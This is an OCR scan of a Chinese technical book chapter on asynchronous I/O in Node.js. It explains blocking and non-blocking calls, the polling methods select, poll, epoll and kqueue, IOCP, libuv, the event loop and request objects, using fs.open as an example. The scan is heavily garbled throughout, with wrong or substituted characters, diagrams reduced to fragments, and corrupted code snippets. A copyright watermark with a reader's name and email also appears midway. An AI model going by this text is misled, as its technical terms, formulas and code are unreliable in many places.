而 且 它 还 与 UI 演 染 共用 一 个 线程 。 这 意味 着 JavaScript 在 执行 的 时 候 UI 演 染 和 响应 是 处 于 停滞 状 
态 的 《高 性 能 JavaScript》 一 书 中 曾经 总 结 过 ， 如果 脚本 的 执行 时 间 超 过 100 上 毫秒 ,用户 就 会 感到 
页 面 卡 顿 ， 以 为 网 页 停止 响应 。 而 在 B/S 模型 中 ， 网 络 速度 的 限制 给 网 页 的 实时 体验 造成 很 大 的 
有 厅 烦 。 如 末 网 页 临时 需要 获取 一 个 网 络 资源 , 通过 同步 的 方式 获取 , 那么 JavaScript 则 需要 等 每 宽 
源 完全 从 服务 右 端 获取 后 才能 继续 执行 ， 这 期 间 UI 将 停顿 ， 不 响应 用 户 的 交互 行为 。 可 以 想象 ， 
这 样 的 用 户 体 验 将 会 多 差 。 而 来 用 异步 请 求 ， 在 下 载 资 源 期 间 ，JavaScript 和 UI 的 执行 都 不 会 处 
于 等 待 状态 ， 可 以 继续 啊 应 用 户 的 交互 行为 ， 给 用 户 一 个 鲜 活 的 页 面 。 

同 理 , 前 站 通过 异步 可 以 消除 掉 UI 阻 塞 的 现象 , 但 是 前 端 获 取 资 源 的 速度 也 取决 于 后 端的 啊 
应 速度 。 假如 一 个 资源 来 自 于 两 个 不 同位 置 的 数据 的 返回 , 第 一 个 资源 需要 M 坚 秒 的 耗 时 ， 第 二 
个 资源 需要 N 昌 秒 的 耗 时 。 如 打 采 用 同步 的 方式 ， 代 码 大 致 如 下 : 

// 消费 时 间 为 M 

getData('from db'); 

// 消费 时 间 为 N 

getData('from remote api'); 

但 是 如 有 果 采 用 异步 方式 , 第 一 个 资源 的 获取 并 不 会 阻塞 第 二 个 资源 , 也 即 第 二 个 资源 的 请 求 
并 不 依赖 第 一 个 资源 的 结束 。 如 此 ， 我 们 可 以 于 党 到 并 发 的 优势 ， 相 关 代 人 码 如 下 : 

getData('from db', function (result) { 

人 


getData('from remote api', function (result) { 
// 消费 时 间 为 V 

}); 

对 比 两 者 的 时 间 总 消耗 ， 前 者 为 MHV， 后 者 为 max (M,N )。 

随 着 应 用 复杂 性 的 增加 ， 情 景 将 会 变 成 M+ NW+… 和 max ( M,N,… )， 同 步 与 异步 的 优 劣 将 会 
凸显 出 来 。 另 一 方面 ， 随 春 网 站 或 应 用 不 断 膨胀 ， 数 据 将 会 分 布 到 多 人 台 服 务 共 上 上， 分布 式 将 会 是 
津 态 。 分布 也 蕊 味 着 M 与 N 的 值 会 线性 增长 , 这 也 会 放大 异步 和 同步 在 性 能 方面 的 差异 。 为 了 让 读 
者 感知 到 M 和 N 值 具体 多 昂贵 ， 表 3-1 列 出 了 从 CPU 一 级 缓存 到 网 络 的 数据 访问 所 需要 的 开销 。 


表 3-1 不 同 的 |/O 类 型 及 其 对 应 的 开销 


I/O 类 型 花费 的 CPU 时 钟 周期 
CPU 一 级 缓存 3 
CPU 二 级 缓存 14 
内 存 250 
硬盘 41000000 
网 络 240000000 
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这 就 是 异步 IO 在 Node 中 如 此 盛行 ， 甚 至 将 其 作为 主要 理念 进行 设计 的 原因 。LIO 是 昂 员 的 ， 
分 布 式 IO 是 更 昂贵 的 。 
只 有 后 端 能 够 快速 响应 资源 ， 才 能 让 前 端的 体验 变 好 。 


3.1.2 ”资源 分 配 


排除 用 户 体 验 的 因素 ， 我 们 从 资源 分 配 的 层面 来 分 析 一 下 异步 IO 的 必要 性 。 我 们 知道 计算 
机 在 发 展 过 程 中 将 组 件 进 行 了 抽象 ， 分 为 /O 设 备 和 计算 设备 。 

假设 业务 场景 中 有 一 组 互 不 相关 的 任务 需要 完成 ， 现 行 的 主流 方法 有 以 下 两 种 。 

口 单线 程 串 行 依次 执行 。 

口 多 线程 并 行 完成 。 

如 果 创 建 多 线程 的 开销 小 于 并 行 执行 , 那么 多 线程 的 方式 是 首选 的 。 多 线程 的 代价 在 于 创建 
线程 和 执行 期 线程 上 下 文 切换 的 开销 较 大 。 另 外 , 在 复杂 的 业务 中 ， 多 线程 编程 经 党 面临 锁 、 状 
态 同 步 等 问题 ,这 是 多 线程 被 诉 病 的 主要 原因 。 但 是 多 线程 在 多 核 CPU 上 能 够 有 效 提 升 CPU 的 利 
用 率 ， 这 个 优势 是 毋庸 置 疑 的 。 

单线 程 顺序 执行 任务 的 方式 比较 符合 编程 人 员 按 顺序 思考 的 思维 方式 。 它 依然 是 最 主流 的 编 
程 方 式 ， 因 为 它 易 于 表达 。 但 是 串 行 执行 的 缺点 在 于 性 能 , 任意 一 个 略 慢 的 任务 都 会 叶 致 后 续 执 
行 代码 被 阻塞 。 在 计算 机 资源 中 ， 通 常 WO 与 CPU 计 算 之 间 是 可 以 并 行进 行 的 。 但 是 同步 的 编程 
模型 导致 的 问题 是 ，1/O 的 进行 会 让 后 续 任 务 等 待 ， 这 造成 资源 不 能 被 更 好 地 利用 。 

操作 系统 会 将 CPU 的 时 间 片 分 配给 其 余 进 程 ， 以 公平 而 有 效 地 利用 资源 ， 基 于 这 一 点 ， 有 的 
服务 器 为 了 提升 啊 应 能 力 , 会 通过 启动 多 个 工作 进程 来 为 更 多 的 用 户 服务 。 但 是 对 于 这 一 组 任务 
而 言 ， 它 无 法 分 发 任务 到 多 个 进程 上 ， 所 以 依然 无 法 高 效 利 用 资源 , 结束 所 有 任务 所 需 的 时 间 将 
会 较 长 。 这 种 模式 类 似 于 加 三 倍 服务 硕 ,， 达 到 占用 更 多 资源 来 提升 服务 速度 , 它 并 没 能 真正 改善 
问题 。 

添加 便 件 资 源 是 一 种 提升 服务 质量 的 方式 ， 但 它 不 是 唯一 的 方式 。 

单线 程 同 步 编 程 模型 会 因 阻 蹇 IO 导致 硬件 资源 得 不 到 更 优 的 使 用 。 多 线程 编程 模型 也 因为 
编程 中 的 死 锁 、 状 态 同 步 等 问题 让 开发 人 员 头 疼 。 

Node 在 两 者 之 间 给 出 了 它 的 方案 : 利用 单线 程 , 远离 多 线程 死 锁 、 状 态 同 步 等 问题 ; 利用 异 
步 JO， 让 单线 程 远 离 阻塞 ， 以 更 好 地 使 用 CPU。 

异步 LO 可 以 算 作 Node 的 特色 ， 因 为 它 是 首 个 大 规模 将 异步 IO 应 用 在 应 用 层 上 的 平台 ， 它 力 
求 在 单线 程 上 将 资源 分 配 得 更 高 效 。 

为 了 弥补 单线 程 无 法 利用 多 核 CPU 的 缺点 ，Node 提 供 了 类 似 前 端 浏览 帮 中 Web Workers 的 子 
进程 ， 该 子 进 程 可 以 通过 工作 进程 高 效 地 利用 CPU 和 IO。 这 部 分 内 容 将 在 第 9 草 中 详 述 。 

异步 IO 的 提出 是 期 望 MJO 的 调用 不 再 阻塞 后 续 运 算 , 将 原 有 等 待 O 完 成 的 这 段 时 间 分 配给 其 
余 需 要 的 业务 去 执行 。 

图 3-1 为 异步 WO 的 调用 示意 图 。 
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图 3-1 异步 VO 的 调用 示意 图 


3.2 异步 MO 实现 现状 


异步 VO 在 Node 中 应 用 最 为 广泛 ,但 是 它 并 非 Node 的 原创 。 

如 同 Brendan Eich 援 引 18 世 纪 严 国文 学 家 约翰 还 所 说 ,“ 它 的 优秀 之 处 并 非 原 创 ， 它 的 原创 之 
处 并 不 优秀 ”， 以 之 评价 他 自己 创造 的 JavaScript 一 样 ，Node 的 优秀 之 处 也 并 非 原 创 。 下 面 我 们 看 
看 操作 系统 对 异步 /0 实现 的 支持 状况 。 


3.2.1 异步 VO 与 非 阻塞 MO 


在 听 到 Node 的 介绍 时 , 我 们 时 常会 听 到 异步 、 非 阻塞 、 回调、 事件 这 些 词语 混合 在 一 起 推介 
出 来 ， 其 中 异步 与 非 阻塞 听 起 来 似乎 是 同一 回 事 。 从 实际 效果 而 言 ， 异 步 和 非 阻塞 都 达到 了 我 们 
并 行 IO 的 目的 。 但 是 从 计算 机 内 核 IO 而 言 ， 异 步 /同步 和 阻塞 / 非 阻塞 实际 上 是 两 回 事 。 

操作 系统 内 核对 于 VO 只 有 两 种 方式 : 阻塞 与 非 阻塞 。 在 调用 阻塞 IJO 时 ， 应 用 程序 需要 等 符 
IO 完成 才 返 回 结果 ， 如 网 3-2 所 示 。 

阻塞 IO 的 一 个 特点 是 调用 之 后 一 定 要 等 到 系统 内 核 层 面 完 成 所 有 操作 后 ， 调 用 才 绪 束 。 以 
读 取 磁盘 上 的 一 段 文件 为 例 ， 系 统 内 核 在 完成 磁盘 寻 道 、 读 取 数 据 、 复 制 数据 到 内 存 中 之 后 ,这 
个 调用 才 结 束 。 

阻塞 IO 造成 CPU 等 待 O ， 浪 费 等 待 时 间 ，CPU 的 处 理 能 力 不 能 得 到 充分 利用 。 为 了 提高 
性 能 ， 内 核 提 供 了 非 阳 寨 VO。 非 阻塞 W/O 跟 阻塞/O 的 差别 为 调用 之 后 会 立即 返回 ， 如 图 3-3 
所 示 。 
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“I 
等 待 数 据 I 
返回 数据 一 一 一 


图 3-2 ”调用 阻塞 IO 的 过 程 


操作 系统 对 计算 机 进行 了 抽象 , 将 所 有 输入 输出 设备 抽象 为 文件 .内 核 在 进行 文件 IO 
四 通过 文件 描述 符 进行 管理 ， 而 文件 描述 符 类 似 于 应 用 程序 与 系统 内 核 之 间 的 赁 

。 应 用 程序 如 果 需 要 进行 LO 调用 ， 需 要 先 打 开 文 件 描述 符 ， 然 后 再 根据 文件 描述 符 去 
ae 的 数据 读 写 。 此 处 非 阻塞 IO 与 阻塞 IO 的 区 别 人 于 阻塞 IJO 完 成 整个 获取 数据 的 过 
程 ， 而 非 阻塞 IO 则 ed 要 获取 数据 ， 还 需要 通过 文件 描述 符 再 次 读 取 。 


， 站 E 阳 塞 调用 一 ~ 


| 


图 3-3 ”调用 非 阻 塞 WVO 的 过 程 


非 阻塞 IO 返回 之 后 ，CPU 的 时 间 扩 可 以 用 来 处 理 其 他 事务 ， 此 时 的 性 能 提升 是 明显 的 。 

但 非 阻塞 IO 也 存在 一 些 问 题 。 由 于 完整 的 IO 并 没有 完成 ， 立 即 返回 的 并 不 是 业务 层 期 望 的 
数据 ， 而 仅 仪 年 当前 调用 的 状态 。 为 了 获取 完整 的 数据 ， 应 用 程 ) 人 
是 否 完 成 。 这 种 重复 调用 判断 操作 是 否 完成 的 技术 叫做 轮 询 ， 下 面 我 们 就 来 镜 要 介绍 这 种 技术 。 


一 一 一 并 即 返回 
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任意 技术 都 并 非 完 美的 。 阻 寨 /O 造 成 CPU 等 待 浪费 ， 非 阻 罕 带 来 的 麻烦 却 是 需要 轮 询 去 确 
认 是 否 完全 完成 数据 获取 ,， 它 会 让 CPU 处 理 状 态 判 断 ， 是 对 CPU 资源 的 沪 费 。 这 里 我 们 且 看 轮 询 
技术 是 如 何 演进 的 ， 以 减 小 IO 状态 判断 的 CPU 损耗 。 
现存 的 轮 询 技术 主要 有 以 下 这 些 
D read。 它 是 最 原始 、 性 能 最 低 的 一 种 ， ee 数据 的 
读 取 。 在 各 IE CPU 一 直 耗 用 在 FE 。 图 3-4 为 通过 read 进 行 轮 询 的 示意 图 。 


一 一 一 非 阻塞 调用 一 一 ~ 让 


read 
一 一 非 阻 塞 调用 一 一 ~ 一 
read 


一 一 一 立即 返回 一 一 


I 一 一 ~ 
read 
立即 返 


图 3-4 ”通过 read 进 行 轮 询 的 示意 图 
口 select。 它 是 在 read 的 基础 上 改进 的 一 种 方案 ， 通 过 对 文件 描述 符 上 的 事件 状态 来 进行 判 
财 [。 ee 


着 阳 塞 调用 
read 
下 一 一 六 有 即 返 回 一 一 一 一 
一 一 调用 一 一 
select 
一 ~ 一 数据 读 取 完成 一 一 上 
一 非 阳 塞 调用 一 一 ~ 
read 


-一 一 返回 数据 一 -一 上 


图 3-5 ”通过 select 进 行 轮 询 的 示意 图 
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select 轮 询 具 有 一 个 较 弱 的 限制 , 那 就 是 由 于 它 采 用 一 个 1024 长 度 的 数组 来 存储 状态 ， 
所 以 它 最 多 可 以 同时 检查 1024 个 文件 描述 符 。 
口 poll。 该 方案 较 select 有 所 改进 , 采用 链表 的 方式 避免 数组 长 度 的 限制 , 其 次 它 能 避免 不 需 
要 的 检查 。 但 是 当 文 件 描述 符 较 多 的 时 候 ， 它 的 性 能 还 是 十 分 低下 的 。 网 3-6 为 通过 poll 
实现 轮 询 的 示意 图 ， 它 与 select 相 似 ， 但 性 能 限制 有 所 改善 。 


| 站 阻 塞 调用 | 


read 
一 一 江 即 返回 一 请 


调用 


poll 


-一 数据 读 取 完 成 一 一 一 
一 一 一 非 阻塞 调 用 一 = 上 
read 
下 -一 一 返回 数据 一 -一 上 
图 3-6 ”通过 poll 实 现 轮 询 的 示意 图 


D epoll。 效率 最 高 的 IO 事件 通知 机 制 , 在 进入 轮 询 的 时 候 如 采 没 有 检查 到 
1/O 事 件 ， 行 休 眠 ， 直 到 事件 发 生 将 它 唤醒 。 它 是 真实 利用 了 事件 通知 、 执 行 回调 
的 方式 ， 5 查询 ， 所 以 不 会 浪费 CPU， 执 行 效率 较 高 。 图 3-7 为 通过 epoll 方 式 实 


现 轮 询 的 示意 图 。 


一 一 一 非 阳 塞 调 用 一 一 ~ 一 


read 
一 二 一 一 ”六 即 返回 一 一 一 一 


调用 
epoll 休 虐 
消 甩 
一 一 非 阻塞 调用 一 = 上 
read 
< 一 返回 数据 一 一 一 


图 3-7 ”通过 epol] 方 式 实现 轮 询 的 示意 图 
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口 kqueue。 该 方案 的 实现 方式 与 epoll 类 似 ， 不 过 它 仅 在 FreeBSD 系 统 下 存在 。 

轮 询 技术 满足 了 非 阻塞 IO 确保 获取 完整 数据 的 需求 ， 但 是 对 于 应 用 程序 而 言 ， 它 仍然 只 能 
算是 一 种 同步 ， 因 为 应 用 程序 仍然 需要 等 待 O 完 全 返回 ， 依 旧 花 费 了 很 多 时 间 来 等 待 。 等 待 期 
间 ，CPU 要 么 用 于 遍历 文件 描述 符 的 状态 ， 要么 用 于 休眠 等 待 事件 发 生 。 结 论 是 它 不 够 好 。 


3.2.2 ”理想 的 非 阻塞 异步 JO 

尽管 epol] 已 经 利用 了 事件 来 降低 CPU 的 耗 用 , 但 是 休眠 期 间 CPU 几 乎 是 闲置 的 ， 对 于 当前 线 
程 而 言 利用 率 不 够 。 那 么 ， 是 否 有 一 种 理想 的 异步 IJO 呢 ? 

我 们 期 望 的 完美 的 异步 JO 应 该 是 应 用 程序 发 起 非 阻塞 调用 ， 无 须 通过 过 历 或 者 事件 唤醒 等 
方式 轮 询 ， 可 以 直接 处 理 下 一 个 任务 ， 只 需 在 IO 完成 后 通过 信和 号 或 回调 将 数据 传递 给 应 用 程序 
即 可 。 图 3-8 为 理想 中 的 异步 IO 示意 图 。 


一 一 一 非 阻塞 调用 一 ~ 
异步 方法 | 
1 Oo 


证 有 返回 


其 他 操作 | 


/ 返回 数据 
Pe | (事件 /信号 ) 


图 3-8 ”理想 中 的 异步 IO 示意 图 


羊 运 的 是 ， 在 Linux 下 存在 这 样 一 种 方式 ， 它 原生 提供 的 一 种 异步 LO 方式 (AIO ) 就 是 通过 
言 号 或 回调 来 传递 数据 的 。 

但 不 等 的 是 ， 只 有 Linux 下 有 ， 而 且 它 还 有 缺陷 一 一 AIO 仅 文 持 内 核 IO 中 的 0_DIRECT 方 式 旋 
取 ， 导 致 无 法 利用 系统 缓存 。 


3.2.3 ”现实 的 异步 /O 


现实 比 理想 要 骨 感 一 些 ， 但 是 要 达成 异步 IO 的 目标 ， 并 非 难 事 。 前 面 我 们 将 场景 限定 在 了 
单线 程 的 状 次 下 ， 多 线程 的 方式 会 是 邦 一 番 风 景 。 通 过 让 部 分 线程 进行 阻塞 IO 或 者 非 阻 塞 IO 加 
轮 询 拉 术 来 完成 数据 获取 ， 让 一 个 线程 进行 计算 处 理 ， 通 过 线程 之 间 的 通信 将 VO 得 到 的 数据 进 
行 传 递 ， 这 就 轻松 实现 了 寞 步 WO ( 尽管 它 是 模拟 的 )， 示 意图 如 图 3-9 所 示 。 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


3.2 ”异步 IO 实现 现状 55 


i i 


| WO 调用 


四 -< ”返回 数据 一 


Te 


图 3-9 ”异步 IO 


glibc 的 AIO 便 是 上 典型 的 线程 池 模 拟 异 步 WO。 然 而 遗憾 的 是 ， 它 存在 一 些 难以 忍受 的 缺陷 和 
bug, 不 推荐 采用 。libev 的 作者 Marc Alexander Lehmann 重 新 实现 了 一 个 异步 /0 的 库 : libeio。 libeio 
实质 上 依然 是 采用 线程 池 与 阻塞 1/O 模 拟 异 步 1O。 最 初 ，Node 在 *nix 平 台 下 采用 了 libeio 配 合 libev 
实现 W/O 部 分 ， 实 现 了 异步 WO。 在 Node v0.9.3 中 ， 自 行 实现 了 线程 池 来 完成 异步 IJO。 

另 一 种 我 迟 迟 没有 透露 的 异步 IO 方案 则 是 Windows 下 的 IOCP， 它 在 某 种 程度 上 提供 了 理想 
的 异步 WO: 调用 异步 方法 ， 等 待 O 完 成 之 后 的 通知 ， 执 行 回 调 ， 用 户 无 须 考虑 轮 询 。 但 是 它 的 
内 部 其 实 仍然 是 线程 池 原 理 ， 不 同 之 处 在 于 这 些 线程 池 巾 系统 内 核 接 手 管理 。 

IOCP 的 异步 IO 模型 与 Node 的 异步 调用 模型 十 分 近似 。 在 Windows 平 台 下 采用 了 IOCP 实 现 
异步 IO。 

由 于 Windows 平 台 和 *nix 平 台 的 差异 ，Node 提 供 了 libuv 作 为 抽象 封装 层 ， 使 得 所 有 平台 兼容 
性 的 判断 都 由 这 一 层 来 完成 ， 并 保证 上 层 的 Node 与 下 层 的 自 定义 线程 池 及 IOCP 之 间 各 自 独 立 。 
Node 在 编译 期 间 会 判断 平台 条 件 ， 选 择 性 编译 unix 目 录 或 是 win 目录 下 的 源 文件 到 目标 程序 中 ， 
其 架构 如 图 3-10 所 示 。 


LO 调用 


Node.js 


libuy 


尝 们 1X Windows 
图 3-10 ”基于 libuv 的 架构 示意 图 


需要 强调 一 点 的 是 , 这 里 的 IO 不 仅仅 只 限于 位 盘 文件 的 谱写 。*nix 将 计算 机 抽象 了 一 香 ， 磁 
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盘 文 件 、 硬 件 、 套 接 字 等 几乎 所 有 计算 机 资源 都 被 抽象 为 了 文件 ,因此 这 里 描述 的 阻塞 和 非 阻塞 
的 情况 同样 能 适合 于 套 接 字 等 。 

另 一 个 需要 强调 的 地 方 在 于 我 们 时 常 提 到 Node 是 单线 程 的 ， 这 里 的 单线 程 仅 仅 只 是 
JavaScript 执 行 在 单线 程 中 罢了 。 在 Node 中 ， 无 论 是 *nix 还 是 Windows 平 台 ， 内 部 完成 VO 任务 的 
男 有 线程 池 。 


3.3 Node 的 异步 IO 


介绍 完 系 统 对 异步 IO 的 文 持 后 ， 我 们 将 继续 介绍 Node 是 如 何 实现 异步 IO 的 。 这 里 我 们 除了 
介绍 异步 VO 的 实现 外 ， 还 将 讨论 Node 的 执行 模型 。 完 成 整个 异步 WO 环 市 的 有 事件 循环 、 观 察 者 
和 请 求 对 象 等 。 


3.3.1 事件 循环 


首先 , 我 们 着 重 强 调 一 下 Node 自 身 的 执行 模型 一 一 事件 循环 , 正 是 它 使 得 回调 函数 十 分 普遍 。 

在 进程 启动 时 ，Node 便 会 创建 一 个 类 似 于 while(true) 的 循环 ， 每 执行 一 次 循环 体 的 过 程 我 
们 称 为 Tick。 每 个 Tick 的 过 程 就 是 查看 是 否 有 事件 待 处 理 ， 如 果 有 ， 就 取出 事件 及 其 相关 的 回调 
图 数 。 如 果 存 在 关联 的 回调 函数 ， 就 执行 它们 。 然 后 进入 下 个 循环 ， 如 果 不 再 有 事件 处 理 ， 就 退 
出 进程 。 流 程 图 如 图 3-11 所 示 。 


取出 一 个 事件 
事件 循环 


否 一 一 有 关隘 回调 ? 


和 还 有 事件? 否 
EE 


日 
' 
| 
» 
加 口 


是 


+ 


执行 回调 


图 3-11 Tick 流 程 图 


3.3.2 ”观察 者 
在 每 个 Tick 的 过 程 中 ， 如 何 判断 是 否 有 事件 需要 处 理 呢 ? 这 里 必须 要 引入 的 概念 是 观察 者 。 
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每 个 事件 循环 中 有 一 个 或 者 多 个 观察 者 , 而 判断 是 否 有 事件 要 处 理 的 过 程 就 是 问 这 些 观 察 者 询问 
是 否 有 要 人 处理 的 事件 。 

这 个 过 程 就 如 同 饭馆 的 厨房 , 厨房 一 轮 一 轮 地 制作 茉 看 , 但 是 要 具体 制作 哪些 羔 肴 取决 于 收 
银 台 收 到 的 客人 的 下 单 。 厨 房 每 做 完 一 轮 荣 肴 ， 就 去 问 收 银 台 的 小 妹 ， 接 下 来 有 没有 要 做 的 荣 ， 
如 条 没有 的 话 ， 就 下 班 打 料 了 。 在 这 个 过 程 中 , 收银 人 台 的 小 妹 就 是 观察 者 ， 她 收 到 的 客人 点 单 就 
是 关联 的 回调 函数 。 当 然 ， 如 有 果 人 饭馆 经 营 有 方 ， 它 可 能 有 多 个 收银 员 ， 就 如 同事 件 循环 中 有 多 个 
观察 者 一 样 。 收 到 下 单 就 是 一 个 事件 ， 一 个 观察 者 里 可 能 有 多 个 事件 。 

浏览 硕 采 用 了 类 似 的 机 制 。 事 件 可 能 来 晶 用 户 的 点 击 或 者 加 载 某 些 文件 时 产后 , 而 这 些 产 生 
的 事件 都 有 对 应 的 观察 者 。 在 Node 中 ， 事 件 主要 来 源 于 网 络 请 求 、 文 件 IO 等 ， 这 些 事 件 对 应 的 
观察 者 有 文件 IO 观察 者 、 网 络 IO 观 察 者 等 。 观 察 者 将 事件 进行 了 分 类 。 

事件 循环 是 一 个 典型 的 生产 者 /消费 者 模型 。 异 步 JO 、 网 络 请 求 等 则 是 事件 的 生产 者 ， 源 源 
不 断 为 Node 提 供 不 同 类 型 的 事件 , 这 些 事件 被 传递 到 对 应 的 观察 者 那里 , 事件 循环 则 从 观察 者 那 
里 取出 事件 并 处 理 。 

在 Windows 下 ， 这 个 循环 基于 IOCP 创 建 ， 而 在 *nix 下 则 基于 多 线程 创建 。 


3.3.3 ”请 求 对 象 


在 这 一 方 中 ， 我 们 将 通过 解释 Windows 下 异步 WO ( 利用 IOCP 实 现 ) 的 人 简单 例子 来 探寻 从 
JavaScript 代 人 码 到 系统 内 核 之 间 都 发 生 了 什么 。 

对 于 一 般 的 〈 非 异步 ) 回调 函数 ， 函 数 由 我 们 目 行 幸 用 ， 如 下 所 示 : 

var forEach = function (list, callback) { 

for (var i = 0; i «< list.length; i++) { 
callback(list[i], i, list); 

六 

对 于 Node 中 的 异步 IO 调用 而 言 ， 回 调 函 数 却 不 由 开发 者 来 调用 。 那 么 从 我 们 发 出 调用 后 ， 
到 回调 孔 数 被 执行 ， 中 间 发 生 了 什么 呢 ? 事 实 上 ， 从 J avaScript 发 起 调 用 到 内 核 执 行 完 IO 操作 的 
过 渡 过 程 中 ， 存 在 一 种 中 间 产 物 ， 它 叫做 请 求 对 象 。 

下 面 我 们 以 最 简单 的 fs .open() 方 法 来 作为 例子 ， 探索 Node 忆 底层 之 间 是 如 何 执 行 卉 步 WO 调 
用 以 及 回调 函数 客 竟 是 如 何 被 调用 执行 的 : 


fs.open = function(path, flags, mode, callback) { 
a 
binding.open(pathModule. makeLong(path), 
stringToFlags (flags), 
mode, 
callback); 


}; 

fs.open() 的 作用 是 根据 指定 路 径 和 参数 去 打开 一 个 文件 ， 从 而 得 到 一 个 文件 描述 符 ， 这 是 
后 续 所 有 1/O 操 作 的 初始 操作 。 从 前 面 的 代码 中 可 以 看 到 ，JavaScript 层 面 的 代码 通过 调用 C++ 核 
心 模块 进行 下 层 的 操作 。 图 3-12 为 调用 示意 图 。 
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lib/fs.is 


fs.open() 


sre/node file.ce 


libuv 


deps/uv/src/unix/fs.c deps/uv/sre/win/ts.c 
uv fs _ opent ) uv fs open() 


图 3-12 ”调用 示意 图 


从 JavaScript 调 用 Node 的 核心 模块 ， 核 心 模块 调用 C++ 内 建 模 块 ， 内 建 模块 通过 libuv 进 行 系 


统 调 用 ， 这 是 Node 里 经 典 的 调用 方式 。 这 里 libuv 作 为 封装 层 ， 有 两 个 平台 的 实现 ， 实 质 上 是 调 
用 了 uv_fs_open() 方 法 。 在 uv_fs_open() 的 调用 过 程 中 ， 我 们 创建 了 一 个 FSReqWrap 请 求 对 象 。 从 
JavaScript 层 传人 的 参数 和 当前 方法 都 被 封装 在 这 个 请 求 对 象 中 ,其 中 我 们 最 为 关注 的 回调 函数 则 
被 设置 在 这 个 对 和 象 的 oncomplete_sym 属 性 上 : 

req wrap->object ->Set(oncomplete sym, callback); 

对 和 象 包 装 完 毕 后 , 在 Windows 下 ， 则 调用 QueueUserWorkItem() 方 法 将 这 个 FSReqWrap 对 象 推 人 
线程 池 中 等 待 执行 ， 该 方法 的 代码 如 下 所 未 : 

QueueUserWorkItem(&uv fs _ thread proc, \ 


req, \ 
WT_EXECUTEDEFAULT) 


QueueUserWorkItem() 方 法 接受 3 个 参数 : 第 一 个 参数 是 将 要 执行 的 方法 的 引用 ， 这 里 引用 的 
是 uv_fs _ thread _ proc, 第 二 个 参数 是 uv_fs_thread_proc 方 法 运行 时 所 需要 的 参数 ; 第 三 个 参数 是 
执行 的 标志 。 当 线程 池 中 有 可 用 线程 时 ， 我 们 会 调用 uv_fs _ thread_proc() 方 法 。uv_fs _ thread 
proc() 方 法 会 根据 传人 参数 的 类 型 调用 相应 的 底层 洱 数 。 以 uv_fs_open() 为 例 ， 实 际 上 调用 
fs open() 方 法 。 

至 此 ，JavaScript 调 用 立即 返回 ， 由 JavaScript 层 面 发 起 的 异步 调用 的 第 一 阶段 就 此 结 
JavaScript 线 程 可 以 继续 执行 当前 任务 的 后 续 操 作 。 当 前 的 LO 操作 在 线程 池 中 等 竺 执行 ,不管 它 
是 否 阻 蹇 IO ， 都 不 会 影响 到 JavaScript 线 程 的 后 续 执 行 ， 如 此 束 达 到 了 异步 的 目的 。 
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请 求 对 象 是 腊 步 WO 过 程 中 的 重要 中 间 产 物 ， 所 有 的 状态 都 保存 在 这 个 对 和 象 中 ， 包 括 送 入 线 
程 池 等 待 执行 以 及 IO 操作 完毕 后 的 回调 处 理 。 


3.3.4 执行 回调 
组 淡 好 请 求 对 象 、 送 入 LO 线程 池 等 每 执行 ， 实 际 上 完成 了 异步 VO 的 第 一 部 分 ， 回 调 通 知 是 


第 二 部 分 。 

线程 池 中 的 VO 操作 调用 完毕 之 后 ， 会 将 获取 的 结果 储存 在 req->result 属 性 上 ， 人 然后 调用 
PostQueuedCompletionStatus() 通 知 JOCP， 告 知 当 前 对 象 操 作 已 经 完成 : 

PostQueuedCompletionStatus((loop)->iocp, 0, 0, &((req)->overlapped)) 

PostQueuedCompletionStatus() 方 法 的 作用 是 向 IOCP 提 交 执 行 状 态 ， 并 将 线程 归还 线程 池 。 通 
过 PostQueuedCompletionStatus() 方 法 提交 的 状态 ， 可 以 通过 GetQueuedCompletionStatus() 提 取 。 

在 这 个 过 程 中 ， 我 们 其 实 还 动用 了 事件 循环 的 MO 观察 者 。 在 每 次 Tick 的 执行 中 ， 它 会 调用 
IOCP 相 关 的 GetQueuedCompletionStatus() 方 法 检查 线程 池 中 是 否 有 执行 完 的 请 求 ， 如 果 存 在 , 会 
将 请 求 对 象 加 入 到 LO 观察 者 的 队列 中 ， 然 后 将 其 当做 事件 处 理 。 

LO 观察 者 回调 函数 的 行为 就 是 取出 请 求 对 象 的 result 属 性 作为 参数 , 取出 oncomplete_sym 属 
性 作为 方法 ， 然 后 调用 执行 ， 以 此 达到 调用 JavaScript 中 传人 的 回调 图 数 的 目的 。 

至 此 ， 整 个 异步 IO 的 流程 完全 结束 ， 如 网 3-13 所 示 。 


事件 循环 


发 起 异步 调用 线程 可 用 创建 主 循环 


封装 请 求 对 象 执行 请 求 对 象 从 LO 观察 者 取 到 
中 的 IO 操作 可 用 的 请 求 对 象 


设置 参数 和 回调 将 执行 完成 的 结果 取出 回调 函数 和 


的 娄 放 在 请 求 对 象 中 结果 调用 执行 


将 请 求 对 象 放 入 通知 [OCP 而 时 
线程 池 等 待 执行 ， 获取 完成 的 LO 
交 给 LO 观察 者 


图 3-13 ”整个 异步 IO 的 流程 
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事件 循环 、 观 察 者 、 请 求 对 象 、LO 线 程 池 这 四 者 共同 构成 了 Node 异 步 IO 模 型 的 基本 要 又 。 

Windows 下 主要 通过 IOCP 来 向 系统 内 核发 送 IO 调用 和 从 内 核 获取 已 完成 的 IO 操作 ， 配 以 事 
件 循 环 ， 以 此 完成 异步 IO 的 过 程 。 在 Linux 下 通过 epoll 实 现 这 个 过 程 ，FreeBSD 下 通过 kqueue 实 
现 ，Solaris 下 通过 Event ports 实 现 。 不同 的 是 线程 池 在 Windows 下 由 内 核 (IOCP ) 和 直接 提供 ，*nix 
系列 下 由 libuv 自 行 实现 。 


3.3.5 小结 


从 前 面 实现 异 步 1O 的 过 程 描述 中 ， 我 们 可 以 提取 出 异步 WO 的 几 个 关键 词 : 单线 程 、 事 件 循 
环 、 观 察 者 和 IO 线程 池 。 这 里 单线 程 与 IO 线程 池 之 间 看 起 来 有 些 悖 论 的 样子 。 由 于 我 们 知道 
JavaScript 是 单线 程 的 ， 所 以 按 常 识 很 容易 理解 为 它 不 能 充分 利用 多 核 CPU。 事 实 上 ， 在 Node 中 ， 
除了 JavaScript 是 单线 程 外 ，Node 目 身 其 实 是 多 线程 的 ， 只 是 IO 线程 使 用 的 CPU 较 少 。 夯 一 个 需 
要 重视 的 观点 则 是 ,除了 用 户 代 码 无 法 并 行 执行 外 , 所 有 的 IO 们 盘 IO 和 网 络 IO 等 ) 则 是 可 以 
并 行 起 来 的 。 


3.4 非 VO 的 异步 API 


尽管 我 们 在 介绍 Node 的 时 候 ， 多 数 情况 下 都 会 提 到 异步 JO ， 但 是 Node 中 其 实 还 存在 一 些 与 
